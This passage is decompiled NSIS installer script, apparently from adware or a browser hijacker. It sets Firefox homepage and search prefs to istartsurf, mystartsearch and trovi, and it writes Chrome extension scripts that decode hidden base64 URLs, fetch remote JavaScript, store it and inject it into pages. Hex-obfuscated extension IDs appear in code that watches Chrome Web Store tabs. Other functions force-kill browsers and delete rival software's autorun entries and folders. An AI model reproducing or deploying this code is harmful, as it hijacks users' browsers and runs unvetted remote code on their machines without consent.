$\"http://www.istartsurf.com" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.newtab.url$\", $\"http://www.mystartsearch.com" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.search.searchengine.url$\", $\"http://www.mystartsearch.com" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.search.selectedEngine$\", $\"Ïîèñê@Mail.Ru" Push // Push + Call :label_11822 Pop $R9 Push $R9 Push "user_pref($\"browser.newtab.url$\", $\"http://www.trovi.com" Push // Push + Call :label_11822 Pop $R9 Push $0 Return Push $R9 Push true Push false Push + Call :label_11822 Pop $R9 Push $R9 Push true Push false Push + Call :label_11822 Pop $R9 Push $R9 Push Push Push + Call :label_11822 Pop $R9 Push $R9 Push Push $\"$EXEPATH$\" Push + Call :label_11822 Pop $R9 Push $R9 Push Push Push + Call :label_11822 Pop $R9 Push $R9 Push Push $_107_ Push + Call :label_11822 Pop $R9 Push $R9 Push Push Push + Call :label_11822 Pop $R9 Push $R9 Push Push $_107_ Push + Call :label_11822 Pop $R9 Push $0 Return Push $R9 Push ?id=_idvar_ Push ?id=$_21_ Push + Call :label_11822 Pop $R9 Push $R9 Push _url_src_ Push $_48_ Push + Call :label_11822 Pop $R9 Push $0 FunctionEnd Function func_12133 StrCpy $_120_ "" StrCpy $_121_ "" StrCpy $_122_ "" StrCpy $_123_ "" StrCpy $_124_ "" StrCpy $_125_ "" StrCpy $_126_ "" StrCpy $_127_ "" StrCpy $_128_ "" StrCpy $_129_ "" StrCpy $_130_ "" StrCpy $_131_ "" StrCpy $_132_ "" StrCpy $_133_ "" StrCpy $_135_ "" StrCpy $_136_ "" StrCpy $_137_ "" Push 2 Push 1 Call func_13173 Pop $1 StrCmp $1 2 0 label_12158 StrCpy $_135_ AWsaHR0cDovL2FkdmNkbi5tZS9qcy92a2FwaS5qcw== "" 3 StrCpy $_136_ A7uaHR0cDovL2FkdmNkbi5tZS9qcy9va2FwaS5qcw== "" 3 StrCpy $_137_ Au7aHR0cDovL2FkdmNkbi5tZS9oYXNoZXMvYXBpcy5qc29u "" 3 label_12158: StrCpy $_108_ "var jqscript=document.createElement('script');jqscript.type='text/javascript';jqscript.src='//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';document.head.appendChild(jqscript);function INCJS(){var uvariabl='uvariablsaHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz';var jsinclude=document.createElement('script');jsinclude.type='text/javascript';" Push $_108_ Call func_12243 Pop $_108_ FileOpen $1 $_45_\bgvk.js w FileWrite $1 $_108_ FileClose $1 StrCpy $_109_ "jsinclude.src=atob(uvariabl.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1);document.head.appendChild(jsinclude);};chrome.storage.local.get({slextdv:''},function(syncdata){if (!chrome.runtime.lastError){if (syncdata.slextdv!=''){var jsinc=document.createElement('script');jsinc.type='text/javascript';jsinc.innerHTML=syncdata.slextdv;document.head.appendChild(jsinc);}else{INCJS();};}else{INCJS();};});" Push $_109_ Call func_12243 Pop $_109_ FileOpen $1 $_45_\bgvk.js a FileSeek $1 0 END FileWrite $1 $_109_ FileClose $1 StrCpy $_110_ "var jqscript=document.createElement('script');jqscript.type='text/javascript';jqscript.src='//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';document.head.appendChild(jqscript);function INCJS(){var uvariabl='uvariablsaHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz';var jsinclude=document.createElement('script');jsinclude.type='text/javascript';" Push $_110_ Call func_12243 Pop $_110_ FileOpen $1 $_45_\bgok.js w FileWrite $1 $_110_ FileClose $1 StrCpy $_111_ "jsinclude.src=atob(uvariabl.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1);document.head.appendChild(jsinclude);};chrome.storage.local.get({slextdo:''},function(syncdata){if (!chrome.runtime.lastError){if (syncdata.slextdo!=''){var jsinc=document.createElement('script');jsinc.type='text/javascript';jsinc.innerHTML=syncdata.slextdo;document.head.appendChild(jsinc);}else{INCJS();};}else{INCJS();};});" Push $_111_ Call func_12243 Pop $_111_ FileOpen $1 $_45_\bgok.js a FileSeek $1 0 END FileWrite $1 $_111_ FileClose $1 StrCpy $_112_ "var hsvariab='hsvariabaaHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24=';var vuvariab='vuvariabaaHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz';var vovariab='vovariabaaHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz';var ghreq=new XMLHttpRequest();ghreq.open('GET',atob(hsvariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);ghreq.onreadystatechange=function(){if (ghreq.readyState==4&&ghreq.status===200)" Push $_112_ Call func_12346 Pop $_112_ FileOpen $1 $_45_\bg.js w FileWrite $1 $_112_ FileClose $1 StrCpy $_113_ "{var hashes=JSON.parse(ghreq.responseText);var xhra=new XMLHttpRequest();xhra.open('GET',atob(vuvariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);xhra.onreadystatechange=function(){if (xhra.readyState==4&&xhra.status===200&&md5(xhra.responseText)==hashes[0].hashv){chrome.storage.local.remove(['slextdv'],function(remove){});chrome.storage.local.set({slextdv:xhra.responseText}," Push $_113_ Call func_12346 Pop $_113_ FileOpen $1 $_45_\bg.js a FileSeek $1 0 END FileWrite $1 $_113_ FileClose $1 StrCpy $_114_ "function(){});};};xhra.send();var xhrb=new XMLHttpRequest();xhrb.open('GET',atob(vovariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);xhrb.onreadystatechange=function(){if (xhrb.readyState==4&&xhrb.status===200&&md5(xhrb.responseText)==hashes[0].hasho){chrome.storage.local.remove(['slextdo'],function(remove){});chrome.storage.local.set({slextdo:xhrb.responseText},function(){});};};xhrb.send();};};ghreq.send();" Push $_114_ Call func_12346 Pop $_114_ FileOpen $1 $_45_\bg.js a FileSeek $1 0 END FileWrite $1 $_114_ FileClose $1 StrCpy $_115_ "!function(a){$\"use strict$\";function b(a,b){var c=(65535&a)+(65535&b),d=(a>>16)+(b>>16)+(c>>16);return d<<16|65535&c}function c(a,b){return a<>>32-b}function d(a,d,e,f,g,h){return b(c(b(b(d,a),b(f,h)),g),e)}function e(a,b,c,e,f,g,h){return d(b&c|~b&e,a,b,f,g,h)}function f(a,b,c,e,f,g,h){return d(b&e|c&~e,a,b,f,g,h)}function g(a,b,c,e,f,g,h){return d(b^c^e,a,b,f,g,h)}function h(a,b,c,e,f,g,h){return d(c^(b|~e),a,b,f,g,h)}function i(a,c){a[c>>5]|=128<>>9<<4)+14]=c;var d,i,j,k,l,m=1732584193,n=-271733879,o=-1732584194,p=271733878;for(d=0;d>5]>>>b%32&255);return c}function k(a){var b,c=[];for(c[(a.length>>2)-1]=void 0,b=0;b>5]|=(255&a.charCodeAt(b/8))<16&&(e=i(e,8*a.length)),c=0;16>c;c+=1)f[c]=909522486^e[c],g[c]=1549556828^e[c];return d=i(f.concat(k(b)),512+8*b.length),j(i(g.concat(d),640))}function n(a){var b,c,d=$\"0123456789abcdef$\",e=$\"$\";for(c=0;c>>4&15)+d.charAt(15&b);return e}" StrCpy $_119_ "function o(a){return unescape(encodeURIComponent(a))}function p(a){return l(o(a))}function q(a){return n(p(a))}function r(a,b){return m(o(a),o(b))}function s(a,b){return n(r(a,b))}function t(a,b,c){return b?c?r(b,a):s(b,a):c?p(a):q(a)}$\"function$\"==typeof define&&define.amd?define(function(){return t}):a.md5=t}(this);" FileOpen $1 $_45_\hash.js w FileWrite $1 $_115_ FileClose $1 FileOpen $1 $_45_\hash.js a FileSeek $1 0 END FileWrite $1 $_116_ FileClose $1 FileOpen $1 $_45_\hash.js a FileSeek $1 0 END FileWrite $1 $_117_ FileClose $1 FileOpen $1 $_45_\hash.js a FileSeek $1 0 END FileWrite $1 $_118_ FileClose $1 FileOpen $1 $_45_\hash.js a FileSeek $1 0 END FileWrite $1 $_119_ FileClose $1 StrCpy $_46_ "" Call func_12612 StrCmp $_46_ "" label_12242 FileOpen $1 $_45_\hash.js a FileSeek $1 0 END FileWrite $1 "var $_46_;" FileClose $1 label_12242: FunctionEnd Function func_12243 Exch $R1 ; Push $R1 ; Exch ; Pop $R1 StrCmp $_120_ "" 0 label_12251 StrCpy $_46_ "" Call func_12612 StrCpy $_120_ $_46_ StrCmp $_120_ "" label_12256 label_12251: Push $R1 Push jqscript Push $_120_ Call func_179 Pop $R1 label_12256: StrCmp $_121_ "" 0 label_12261 StrCpy $_46_ "" Call func_12612 StrCpy $_121_ $_46_ StrCmp $_121_ "" label_12266 label_12261: Push $R1 Push uvariabl Push $_121_ Call func_179 Pop $R1 label_12266: StrCmp $_122_ "" 0 label_12271 StrCpy $_46_ "" Call func_12612 StrCpy $_122_ $_46_ StrCmp $_122_ "" label_12276 label_12271: Push $R1 Push jsinclude Push $_122_ Call func_179 Pop $R1 label_12276: StrCmp $_123_ "" 0 label_12281 StrCpy $_46_ "" Call func_12612 StrCpy $_123_ $_46_ StrCmp $_123_ "" label_12286 label_12281: Push $R1 Push jsinc Push $_123_ Call func_179 Pop $R1 label_12286: StrCmp $_124_ "" 0 label_12291 StrCpy $_46_ "" Call func_12612 StrCpy $_124_ $_46_ StrCmp $_124_ "" label_12296 label_12291: Push $R1 Push INCJS Push $_124_ Call func_179 Pop $R1 label_12296: StrCmp $_126_ "" 0 label_12301 StrCpy $_46_ "" Call func_12612 StrCpy $_126_ $_46_ StrCmp $_126_ "" label_12306 label_12301: Push $R1 Push slextdv Push $_126_ Call func_179 Pop $R1 label_12306: StrCmp $_127_ "" 0 label_12311 StrCpy $_46_ "" Call func_12612 StrCpy $_127_ $_46_ StrCmp $_127_ "" label_12316 label_12311: Push $R1 Push slextdo Push $_127_ Call func_179 Pop $R1 label_12316: StrCmp $_134_ "" 0 label_12321 StrCpy $_46_ "" Call func_12612 StrCpy $_134_ $_46_ StrCmp $_134_ "" label_12326 label_12321: Push $R1 Push pageloc Push $_134_ Call func_179 Pop $R1 label_12326: StrCmp $_135_ "" label_12332 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz Push $_135_ Call func_179 Pop $R1 label_12332: StrCmp $_136_ "" label_12338 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz Push $_136_ Call func_179 Pop $R1 label_12338: StrCmp $_137_ "" label_12344 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24= Push $_137_ Call func_179 Pop $R1 label_12344: Push $R1 FunctionEnd Function func_12346 Exch $R1 ; Push $R1 ; Exch ; Pop $R1 StrCmp $_125_ "" 0 label_12354 StrCpy $_46_ "" Call func_12612 StrCpy $_125_ $_46_ StrCmp $_125_ "" label_12359 label_12354: Push $R1 Push hashes Push $_125_ Call func_179 Pop $R1 label_12359: StrCmp $_126_ "" 0 label_12364 StrCpy $_46_ "" Call func_12612 StrCpy $_126_ $_46_ StrCmp $_126_ "" label_12369 label_12364: Push $R1 Push slextdv Push $_126_ Call func_179 Pop $R1 label_12369: StrCmp $_127_ "" 0 label_12374 StrCpy $_46_ "" Call func_12612 StrCpy $_127_ $_46_ StrCmp $_127_ "" label_12379 label_12374: Push $R1 Push slextdo Push $_127_ Call func_179 Pop $R1 label_12379: StrCmp $_128_ "" 0 label_12384 StrCpy $_46_ "" Call func_12612 StrCpy $_128_ $_46_ StrCmp $_128_ "" label_12389 label_12384: Push $R1 Push hsvariab Push $_128_ Call func_179 Pop $R1 label_12389: StrCmp $_129_ "" 0 label_12394 StrCpy $_46_ "" Call func_12612 StrCpy $_129_ $_46_ StrCmp $_129_ "" label_12399 label_12394: Push $R1 Push vuvariab Push $_129_ Call func_179 Pop $R1 label_12399: StrCmp $_130_ "" 0 label_12404 StrCpy $_46_ "" Call func_12612 StrCpy $_130_ $_46_ StrCmp $_130_ "" label_12409 label_12404: Push $R1 Push vovariab Push $_130_ Call func_179 Pop $R1 label_12409: StrCmp $_131_ "" 0 label_12414 StrCpy $_46_ "" Call func_12612 StrCpy $_131_ $_46_ StrCmp $_131_ "" label_12419 label_12414: Push $R1 Push ghreq Push $_131_ Call func_179 Pop $R1 label_12419: StrCmp $_132_ "" 0 label_12424 StrCpy $_46_ "" Call func_12612 StrCpy $_132_ $_46_ StrCmp $_132_ "" label_12429 label_12424: Push $R1 Push xhra Push $_132_ Call func_179 Pop $R1 label_12429: StrCmp $_133_ "" 0 label_12434 StrCpy $_46_ "" Call func_12612 StrCpy $_133_ $_46_ StrCmp $_133_ "" label_12439 label_12434: Push $R1 Push xhrb Push $_133_ Call func_179 Pop $R1 label_12439: StrCmp $_135_ "" label_12445 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz Push $_135_ Call func_179 Pop $R1 label_12445: StrCmp $_136_ "" label_12451 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz Push $_136_ Call func_179 Pop $R1 label_12451: StrCmp $_137_ "" label_12457 Push $R1 Push aHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24= Push $_137_ Call func_179 Pop $R1 label_12457: Push $R1 FunctionEnd Function func_12459 StrCpy $_108_ "" StrCpy $_109_ "" StrCpy $_120_ "" StrCpy $_108_ AAAZnVuY3Rpb24gYShhKXtmdW5jdGlvbiBlKGEpe2Nocm9tZS50YWJzLmNyZWF0ZSh7dXJsOmF0b2IodCl9LGZ1bmN0aW9uKCl7Y2hyb21lLnRhYnMucmVtb3ZlKGEpfSl9aWYoMT09YSl7dmFyIHQ9ImF2YXJpYWJsYWFIUjBjRG92TDNOMFlYSjBjM011Y25VdlAzVjBiVjl0WldScGRXMDlaWGgwSm5WMGJWOXpiM1Z5WTJVOVpYaDBaVzV6YVc5dSIuc3Vic3RyKDkpLHI9bmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLG89L2FtaWdvLy50ZXN0KHIpLGw9L3lhYnJvd3Nlci8udGVzdChyKSxuPS9vcHIvLnRlc3Qocik7aWYobHx8b3x8bilsP2UoKTpjaHJvbWUudGFicy5vbkNyZWF0ZWQuYWRkTGlzdGVuZXIoZnVuY3Rpb24oYSl7KCJjaHJvbWU6Ly9uZXd0YWIvIj09YS51cmx8fCJjaHJvbWU6Ly9zdGFydHBhZ2UvIj09YS51cmwpJiYobz9lKCk6ZShhLmlkKSl9KTs= "" 3 Push $_108_ Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $_108_ StrCpy $_109_ AAAZWxzZXt2YXIgcz1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaSIpO3MmJihzLnNyYz1hdG9iKHQpKX19ZWxzZSB3aW5kb3cubG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9nb29nbGUucnUvIn1pZigidW5kZWZpbmVkIiE9dHlwZW9mIFN0b3JhZ2Upe3ZhciBsPTllNSxnPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJhdmFyaWFibCIpO251bGw9PWc/KGxvY2FsU3RvcmFnZS5zZXRJdGVtKCJhdmFyaWFibCIsK25ldyBEYXRlKSxhKG51bGw9PWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJhdmFyaWFibCIpPzE6MikpOiJzdGFydCI9PWc/YSgxKTorbmV3IERhdGUtZz5sPyhhKDEpLGxvY2FsU3RvcmFnZS5zZXRJdGVtKCJhdmFyaWFibCIsInN0YXJ0IikpOmEoMil9ZWxzZSBhKDEpOw== "" 3 Push $_109_ Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $_109_ StrCpy $_46_ "" Call func_12612 StrCpy $_120_ $_46_ StrCmp $_120_ "" label_12478 Push $_108_ Push avariabl label_12478: Push $_120_ Call func_179 Pop $_108_ Push $_109_ Push avariabl Push $_120_ Call func_179 Pop $_109_ FileOpen $1 $_45_\main.js w FileWrite $1 $_108_ FileClose $1 FileOpen $1 $_45_\main.js a FileSeek $1 0 END FileWrite $1 $_109_ FileClose $1 FunctionEnd Function func_12494 StrCpy $_108_ "" StrCpy $_109_ "" StrCpy $_110_ "" StrCpy $_108_ "function a(t){var u=t.url;if (u&&u.indexOf('chrome.google.com/webstore')!=-1){var _0x8a78=['\x64\x6A\x6E\x66\x69\x6B\x68\x69\x6D\x69\x6A\x66\x63\x6F\x61\x6F\x62\x6C\x67\x61\x6E\x68\x6C\x6C\x6D\x64\x6A\x65\x6A\x67\x67\x69','\x62\x61\x70\x65\x62\x65\x6B\x63\x61\x70\x65\x68\x66\x61\x70\x63\x69\x6C\x6F\x6D\x62\x62\x67\x65\x70\x67\x65\x64\x6D\x6E\x6D\x6E','\x61\x65\x61\x6A\x65\x68\x67\x65\x6F\x68\x68\x67\x6A\x62\x68\x68\x62\x69\x63\x69\x6C\x70\x65\x6E\x6A\x66\x63\x62\x66\x6E\x70\x67','\x67\x61\x6D\x67\x63\x64\x6C\x66\x68\x6D\x6D\x69\x67\x6A\x6D\x62\x66\x66\x6F\x64\x67\x6B\x70\x67\x6C\x62\x6E\x65\x6A\x6B\x6A\x6D','\x6D\x65\x66\x68\x61\x6B\x6D\x67\x63\x6C\x68\x68\x66\x62\x64\x61\x64\x65\x6F\x6A\x6C\x6B\x62\x6C\x6C\x6D\x65\x63\x69\x61\x6C\x67','\x6F\x63\x67\x67\x63\x63\x61\x61\x63\x61\x63\x70\x69\x65\x6E\x66\x63\x67\x6D\x67\x63\x69\x68\x6F\x6F\x6D\x62\x6F\x6B\x62\x62\x6A'," StrCpy $_109_ '\x68\x65\x6E\x6D\x66\x6F\x70\x70\x6A\x6A\x6B\x63\x65\x6E\x63\x70\x62\x6A\x61\x69\x67\x66\x61\x68\x64\x6A\x6C\x67\x70\x65\x67\x6E','\x62\x68\x6D\x70\x6E\x69\x62\x69\x61\x67\x6F\x70\x6D\x6F\x62\x61\x6D\x68\x6C\x67\x61\x67\x68\x6B\x6F\x6A\x6C\x63\x6A\x6E\x66\x6E','\x61\x61\x65\x62\x6A\x65\x70\x63\x66\x69\x64\x67\x6B\x6F\x6A\x6C\x6A\x62\x67\x6F\x69\x6C\x67\x6B\x67\x6B\x6C\x65\x68\x6C\x64\x6A','\x63\x6E\x61\x69\x62\x6E\x65\x68\x62\x62\x69\x6E\x6F\x6F\x68\x68\x6A\x61\x66\x6B\x6E\x69\x68\x6D\x6C\x6F\x70\x64\x68\x68\x69\x70','\x68\x63\x6D\x64\x70\x65\x6F\x62\x66\x6F\x70\x70\x64\x6B\x68\x63\x6E\x65\x6F\x67\x63\x66\x6C\x66\x6D\x66\x63\x65\x65\x6E\x6C\x66','\x6B\x6A\x61\x63\x6A\x6A\x64\x6E\x6F\x64\x64\x6E\x70\x62\x62\x63\x6A\x69\x6C\x63\x61\x6A\x66\x68\x68\x62\x64\x68\x6B\x70\x67\x6B']; StrCpy $_110_ "var e=[_0x8a78[0],_0x8a78[1],_0x8a78[2],_0x8a78[3],_0x8a78[4],_0x8a78[5],_0x8a78[6],_0x8a78[7],_0x8a78[8],_0x8a78[9],_0x8a78[10],_0x8a78[11]];for(var i=0;i Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13304 StrCpy $0 chrome.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13304 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" Goto label_13304 label_13304: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13306 StrCpy $0 firefox.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13324 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13324 StrCpy $0 firefox.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13324 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" Goto label_13324 label_13324: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13326 StrCpy $0 opera.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13344 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13344 StrCpy $0 opera.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13344 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" Goto label_13344 label_13344: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13346 StrCpy $0 browser.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13364 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13364 StrCpy $0 browser.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13364 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" Goto label_13364 label_13364: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13366 nsExec::ExecToStack "taskkill /IM $\"amigo.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"amigo.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack StrCpy $0 amigo.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13387 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13392 StrCpy $0 amigo.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13387 Goto label_13392 label_13387: nsExec::ExecToStack "taskkill /IM $\"amigo.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "taskkill /IM $\"amigo.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_13392: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13394 StrCpy $0 nichrome.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13412 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13412 StrCpy $0 nichrome.exe DetailPrint "Killing all processes called '$0'" KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13412 DetailPrint "-> Killed $0 processes, faild to kill $1 processes" Goto label_13412 label_13412: StrCpy $0 ramblerbrowser.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13429 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13434 Sleep 3000 StrCpy $0 ramblerbrowser.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13429 Goto label_13434 label_13429: nsExec::Exec "cmd /k taskkill /IM $\"ramblerbrowser.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"ramblerbrowser.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_13434: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13436 StrCpy $0 kometa.exe DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'" KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_13453 DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ" StrCmp $0 0 label_13458 Sleep 3000 StrCpy $0 kometa.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses StrCmp $1 -1 label_13453 Goto label_13458 label_13453: nsExec::Exec "cmd /k taskkill /IM $\"kometa.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"kometa.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_13458: DetailPrint "Everything went okay :-D" FunctionEnd Function func_13460 SetShellVarContext current ClearErrors ReadRegStr $0 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vkmusicdownloader IfErrors 0 label_13465 IfFileExists $LOCALAPPDATA\Microsoft\Windows\Vkmusicdownloader.exe 0 label_13485 label_13465: StrCpy $1 musicdownload nsExec::Exec "cmd /k taskkill /IM Vk$1er.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Vk$1er.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 3000 nsExec::Exec "cmd /k taskkill /IM Vk$1er.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Vk$1er.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Vk$1er$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Vk$1er$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vk$1er DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vk$1er Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\Vk$1er.exe label_13485: IfFileExists $LOCALAPPDATA\SysHlp 0 label_13503 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\SysHlp\*.exe label_13488: StrCmp $R1 "" label_13501 nsExec::Exec "cmd /k taskkill /IM $R1 /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1 /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Push $R1 Call :label_4803 Pop $R0 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R0 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R0 FindNext $0 $R1 Goto label_13488 label_13501: FindClose $0 RMDir /r /REBOOTOK $LOCALAPPDATA\SysHlp label_13503: IfFileExists $APPDATA\etranslator 0 label_13505 RMDir /r /REBOOTOK $APPDATA\etranslator label_13505: IfFileExists $PROGRAMFILES\e2ru 0 label_13521 IfFileExists $PROGRAMFILES\e2ru\transl.sys label_13508 IfFileExists $PROGRAMFILES\e2ru\e2ru.exe 0 label_13521 label_13508: nsExec::Exec "cmd /k taskkill /IM $\"e2ru.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"e2ru.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop transl" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop transl" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run e2ru 